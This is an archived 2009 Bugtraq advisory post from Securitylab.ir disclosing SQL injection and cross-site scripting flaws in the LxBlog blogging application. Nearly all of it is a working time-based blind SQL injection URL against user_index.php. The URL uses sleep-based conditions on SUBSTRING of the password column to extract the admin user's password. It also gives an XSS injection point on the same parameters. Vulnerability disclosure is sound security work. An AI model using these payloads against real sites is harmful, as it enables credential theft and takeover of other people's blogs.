Bugtraq mailing list archives
LxBlog
From: info () securitylab ir
Date: 22 May 2009 09:07:19 -0000
######################### Securitylab.ir ######################## # Application Info: # Name: LxBlog # Website: http://www.lxblog.net ################################################################# # Discoverd By: Securitylab.ir # Website: http://securitylab.ir # Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir ################################################################# # Vulnerability Info: # Type: Sql/Xss # Risk: Medium #=========================================================== # Sql Injection: # http://site.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/* # # Xss: # http://site.com/user_index.php?action=tag&job=modify&type=[XSS]&item_type[]=[XSS] #=========================================================== ################################################################# # Securitylab Security Research Team ###################################################################
Current thread:
- LxBlog info (May 22)